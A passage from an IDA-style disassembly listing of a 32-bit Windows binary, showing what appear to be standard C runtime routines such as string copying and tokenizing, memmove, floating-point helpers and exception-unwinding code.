CODE XREF: sub_41CAD4+39j ; sub_41CAD4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41CB35 test al, al jz short loc_41CB35 inc edx jmp short loc_41CB15 ; --------------------------------------------------------------------------- loc_41CB35: ; CODE XREF: sub_41CAD4+58j ; sub_41CAD4+5Cj mov ebx, edx loc_41CB37: ; CODE XREF: sub_41CAD4+81j mov al, [edx] test al, al jz short loc_41CB5B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41CB57 inc edx jmp short loc_41CB37 ; --------------------------------------------------------------------------- loc_41CB57: ; CODE XREF: sub_41CAD4+7Ej and byte ptr [edx], 0 inc edx loc_41CB5B: ; CODE XREF: sub_41CAD4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DBE28, edx and eax, ebx pop ebx leave retn sub_41CAD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CB70 proc near ; CODE XREF: sub_409823+1Cp ; sub_415DAC+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41CBAE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41CBBB ; --------------------------------------------------------------------------- loc_41CBAE: ; CODE XREF: sub_41CB70+34j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41CBBB: ; CODE XREF: sub_41CB70+3Cj mov eax, esi pop esi leave retn sub_41CB70 endp ; =============== S U B R O U T I N E ======================================= sub_41CBC0 proc near ; CODE XREF: sub_40ADE1+88p ; sub_40B90E+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41CC74 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41CBEA loc_41CBDB: ; CODE XREF: sub_41CBC0+28j mov al, [edi] inc edi test al, al jz short loc_41CC1B test edi, 3 jnz short loc_41CBDB loc_41CBEA: ; CODE XREF: sub_41CBC0+19j ; sub_41CBC0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41CBEA mov eax, [edi-4] test al, al jz short loc_41CC28 test ah, ah jz short loc_41CC23 test eax, 0FF0000h jz short loc_41CC1E test eax, 0FF000000h jnz short loc_41CBEA loc_41CC1B: ; CODE XREF: sub_41CBC0+20j dec edi jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC1E: ; CODE XREF: sub_41CBC0+52j sub edi, 2 jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC23: ; CODE XREF: sub_41CBC0+4Bj sub edi, 3 jmp short loc_41CC2B ; --------------------------------------------------------------------------- loc_41CC28: ; CODE XREF: sub_41CBC0+47j sub edi, 4 loc_41CC2B: ; CODE XREF: sub_41CBC0+5Cj ; sub_41CBC0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41CC40 mov ebx, ecx shr ecx, 2 jnz short loc_41CC8C jmp short loc_41CC5C ; --------------------------------------------------------------------------- loc_41CC40: ; CODE XREF: sub_41CBC0+75j ; sub_41CBC0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41CC7A mov [edi], dl inc edi dec ecx jz short loc_41CC70 test esi, 3 jnz short loc_41CC40 mov ebx, ecx shr ecx, 2 jnz short loc_41CC8C loc_41CC5C: ; CODE XREF: sub_41CBC0+7Ej ; sub_41CBC0+CAj mov ecx, ebx and ecx, 3 jz short loc_41CC70 loc_41CC63: ; CODE XREF: sub_41CBC0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41CC72 dec ecx jnz short loc_41CC63 loc_41CC70: ; CODE XREF: sub_41CBC0+8Bj ; sub_41CBC0+A1j mov [edi], cl loc_41CC72: ; CODE XREF: sub_41CBC0+ABj pop ebx pop esi loc_41CC74: ; CODE XREF: sub_41CBC0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41CC7A: ; CODE XREF: sub_41CBC0+85j ; sub_41CBC0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CC84: ; CODE XREF: sub_41CBC0+E4j ; sub_41CBC0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41CC5C loc_41CC8C: ; CODE XREF: sub_41CBC0+7Cj ; sub_41CBC0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41CC84 test dl, dl jz short loc_41CC7A test dh, dh jz short loc_41CCD8 test edx, 0FF0000h jz short loc_41CCC8 test edx, 0FF000000h jnz short loc_41CC84 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CCC8: ; CODE XREF: sub_41CBC0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CCD8: ; CODE XREF: sub_41CBC0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41CBC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCE3 proc near ; CODE XREF: ___:0040B062p ; sub_40C2AF+40p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41B9C0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420DB0 add esp, 10h leave retn sub_41CCE3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CD20 proc near ; CODE XREF: sub_40B13C+62p ; sub_40B13C+6Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CD40 cmp edi, eax jb loc_41CEB8 loc_41CD40: ; CODE XREF: sub_41CD20+16j test edi, 3 jnz short loc_41CD5C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- loc_41CD5C: ; CODE XREF: sub_41CD20+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CD74 and eax, 3 add ecx, eax jmp dword ptr loc_41CD7C+4[eax*4] ; --------------------------------------------------------------------------- loc_41CD74: ; CODE XREF: sub_41CD20+46j jmp dword ptr loc_41CE78[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CD7C: ; CODE XREF: sub_41CD20+31j ; sub_41CD20+8Ej ... jmp off_41CDFC[ecx*4] ; --------------------------------------------------------------------------- db 2 dup(90h) db 0CDh, 41h, 0 dd offset loc_41CDBC dd offset loc_41CDE0 ; --------------------------------------------------------------------------- and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CDBC: ; DATA XREF: sub_41CD20+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CDE0: ; DATA XREF: sub_41CD20+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CD7C rep movsd jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CDFC dd offset loc_41CE5F ; DATA XREF: sub_41CD20:loc_41CD7Cr dd offset loc_41CE4C dd offset loc_41CE44 dd offset loc_41CE3C dd offset loc_41CE34 dd offset loc_41CE2C dd offset loc_41CE24 dd offset loc_41CE1C ; --------------------------------------------------------------------------- loc_41CE1C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CE24: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CE2C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CE34: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CE3C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CE44: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CE4C: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CE5F: ; CODE XREF: sub_41CD20:loc_41CD7Cj ; DATA XREF: sub_41CD20:off_41CDFCo jmp off_41CE68[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CE68 dd offset loc_41CE78 ; DATA XREF: sub_41CD20+35r ; sub_41CD20+92r ... dd offset loc_41CE80 dd offset loc_41CE8C dd offset loc_41CEA0 ; --------------------------------------------------------------------------- loc_41CE78: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CE80: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CE8C: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CEA0: ; CODE XREF: sub_41CD20+35j ; sub_41CD20+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CEB8: ; CODE XREF: sub_41CD20+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CEEC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CEE0: ; CODE XREF: sub_41CD20+1B1j ; sub_41CD20+208j ... neg ecx jmp off_41CFB0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CEEC: ; CODE XREF: sub_41CD20+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CF04 and eax, 3 sub ecx, eax jmp dword ptr loc_41CF04+4[eax*4] ; --------------------------------------------------------------------------- loc_41CF04: ; CODE XREF: sub_41CD20+1D6j ; DATA XREF: sub_41CD20+1DDr jmp off_41D000[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CF17+1 ; --------------------------------------------------------------------------- cmp bh, cl inc ecx add [eax-31h], ah inc ecx loc_41CF17: ; DATA XREF: sub_41CD20+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CEE0 std rep movsd cld jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CFB4 dd offset loc_41CFBC dd offset loc_41CFC4 dd offset loc_41CFCC dd offset loc_41CFD4 dd offset loc_41CFDC dd offset loc_41CFE4 off_41CFB0 dd offset loc_41CFF7 ; DATA XREF: sub_41CD20+1C2r ; --------------------------------------------------------------------------- loc_41CFB4: ; DATA XREF: sub_41CD20+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CFBC: ; DATA XREF: sub_41CD20+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CFC4: ; DATA XREF: sub_41CD20+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CFCC: ; DATA XREF: sub_41CD20+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CFD4: ; DATA XREF: sub_41CD20+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CFDC: ; DATA XREF: sub_41CD20+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CFE4: ; DATA XREF: sub_41CD20+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CFF7: ; CODE XREF: sub_41CD20+1C2j ; DATA XREF: sub_41CD20:off_41CFB0o jmp off_41D000[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D000 dd offset loc_41D010 ; DATA XREF: sub_41CD20+1B7r ; sub_41CD20:loc_41CF04r ... dd offset loc_41D018 dd offset loc_41D028 dd offset loc_41D03C ; --------------------------------------------------------------------------- loc_41D010: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D018: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D028: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D03C: ; CODE XREF: sub_41CD20+1B7j ; sub_41CD20:loc_41CF04j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CD20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41D055(double) sub_41D055 proc near ; CODE XREF: sub_40D2F4+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43AE10 call sub_422089 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D0DB call sub_421F51 pop ecx test eax, eax pop ecx jle short loc_41D0BE cmp eax, 2 jle short loc_41D0B0 cmp eax, 3 jnz short loc_41D0BE fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_421861 add esp, 10h jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0B0: ; CODE XREF: sub_41D055+3Fj push esi push ebx call sub_422089 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0BE: ; CODE XREF: sub_41D055+3Aj ; sub_41D055+44j fld [ebp+arg_0] fadd dbl_4276F8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41D118 ; --------------------------------------------------------------------------- loc_41D0DB: ; CODE XREF: sub_41D055+2Fj call sub_421F16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D0FE loc_41D0F0: ; CODE XREF: sub_41D055+ACj push esi push ebx call sub_422089 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D120 ; --------------------------------------------------------------------------- loc_41D0FE: ; CODE XREF: sub_41D055+99j test bl, 20h jnz short loc_41D0F0 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41D118: ; CODE XREF: sub_41D055+84j call sub_4218B4 add esp, 1Ch loc_41D120: ; CODE XREF: sub_41D055+59j ; sub_41D055+67j ... pop esi pop ebx leave retn sub_41D055 endp ; =============== S U B R O U T I N E ======================================= sub_41D124 proc near ; CODE XREF: ___:0041C16Dp ; sub_422152+21p ; DATA XREF: ... call sub_41D13C call sub_422152 mov dword_4DBE30, eax call sub_422102 fnclex retn sub_41D124 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_41D13C proc near ; CODE XREF: sub_41D124p mov eax, offset sub_422540 mov off_43D424, offset sub_4221D5 mov off_43D420, eax mov off_43D428, offset sub_42223B mov off_43D42C, offset sub_42217B mov off_43D430, offset sub_422223 mov off_43D434, eax retn sub_41D13C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D174 proc near ; CODE XREF: sub_40D2F4+1Bp ; sub_40D2F4+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41D174 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41D19B(double) sub_41D19B proc near ; CODE XREF: sub_40D340+82p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43AE28 call sub_422089 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41D221 call sub_421F51 pop ecx test eax, eax pop ecx jle short loc_41D204 cmp eax, 2 jle short loc_41D1F6 cmp eax, 3 jnz short loc_41D204 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_421861 add esp, 10h jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D1F6: ; CODE XREF: sub_41D19B+3Fj push esi push ebx call sub_422089 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D204: ; CODE XREF: sub_41D19B+3Aj ; sub_41D19B+44j fld [ebp+arg_0] fadd dbl_4276F8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41D25E ; --------------------------------------------------------------------------- loc_41D221: ; CODE XREF: sub_41D19B+2Fj call sub_421F16 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41D244 loc_41D236: ; CODE XREF: sub_41D19B+ACj push esi push ebx call sub_422089 fld [ebp+var_8] pop ecx pop ecx jmp short loc_41D266 ; --------------------------------------------------------------------------- loc_41D244: ; CODE XREF: sub_41D19B+99j test bl, 20h jnz short loc_41D236 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41D25E: ; CODE XREF: sub_41D19B+84j call sub_4218B4 add esp, 1Ch loc_41D266: ; CODE XREF: sub_41D19B+59j ; sub_41D19B+67j ... pop esi pop ebx leave retn sub_41D19B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D26A proc near ; CODE XREF: ___:00422A22p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41D26A endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41D29E proc near ; CODE XREF: sub_422B62+199p ; sub_422D26+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D29E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D2A5 proc near ; CODE XREF: sub_422B62+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D2A5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D2AC proc near ; CODE XREF: sub_41D45E+5Cp ; sub_4229B1:loc_4229E2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41D2D4 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_426356 sub_41D2AC endp ; --------------------------------------------------------------------------- loc_41D2D4: ; DATA XREF: sub_41D2AC+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41D2FB: ; CODE XREF: ___:00426AACj ; ___:00426AC9j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_4225B6 add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D331 proc near ; CODE XREF: sub_422A2C+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41D385 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422DB0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41D331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D385 proc near ; DATA XREF: sub_41D331+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4225B6 add esp, 20h pop ebp retn sub_41D385 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D3AA proc near ; CODE XREF: sub_4227F8+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41D45E mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41D430 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4DBE70 pop ecx pop ecx and [ebp+var_34], 0 loc_41D430: ; DATA XREF: sub_41D3AA+3Co cmp [ebp+var_4], 0 jz short loc_41D44D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41D456 ; --------------------------------------------------------------------------- loc_41D44D: ; CODE XREF: sub_41D3AA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41D456: ; CODE XREF: sub_41D3AA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41D3AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D45E proc near ; DATA XREF: sub_41D3AA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41D481 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41D4CE ; --------------------------------------------------------------------------- loc_41D481: ; CODE XREF: sub_41D45E+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_4225B6 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41D4BF push [ebp+arg_0] push [ebp+arg_4] call sub_41D2AC ; --------------------------------------------------------------------------- loc_41D4BF: ; CODE XREF: sub_41D45E+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41D4CE: ; CODE XREF: sub_41D45E+21j pop edi pop esi pop ebx pop ebp retn sub_41D45E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4D3 proc near ; CODE XREF: sub_422651+C6p ; sub_4227F8+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword 